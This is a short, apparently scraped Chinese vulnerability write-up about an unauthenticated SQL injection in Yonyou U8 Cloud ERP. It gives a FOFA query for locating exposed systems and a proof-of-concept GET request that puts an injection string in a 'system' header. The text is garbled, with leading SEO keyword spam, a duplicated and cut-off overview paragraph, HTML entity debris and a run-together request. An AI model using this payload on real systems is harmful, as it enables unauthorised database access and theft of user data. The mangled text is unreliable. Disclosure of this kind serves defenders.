高中信息技术网站建设,企业信用信息公示系统广西,免费空间自助建站模板,仿别人的网站0x01 产品简介
用友U8 Cloud是用友推出的新一代云ERP#xff0c;主要聚焦成长型、创新型企业#xff0c;提供企业级云ERP整体解决方案。
0x02 漏洞概述
用友U8 Cloud 存在SQL注入漏洞#xff0c;未授权的攻击者可通过此漏洞获取数据库权限#xff0c;从而盗取用户数据主要聚焦成长型、创新型企业提供企业级云ERP整体解决方案。
0x02 漏洞概述
用友U8 Cloud 存在SQL注入漏洞未授权的攻击者可通过此漏洞获取数据库权限从而盗取用户数据造成用户信息泄露。
0x03 测绘语句
fofa: app用友-U8-Cloud
0x04 漏洞复现 GET /u8cloud/api/file/upload/base64 HTTP/1.1Host: xxxxsystem: -1 or 1version-- 0x05 影响范围
用友U8 Cloud
0x06 免责声明 本文所涉及的任何技术、信息或工具仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响均由使用者个人承担责任与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明并承诺遵守相关法律法规和道德规范。
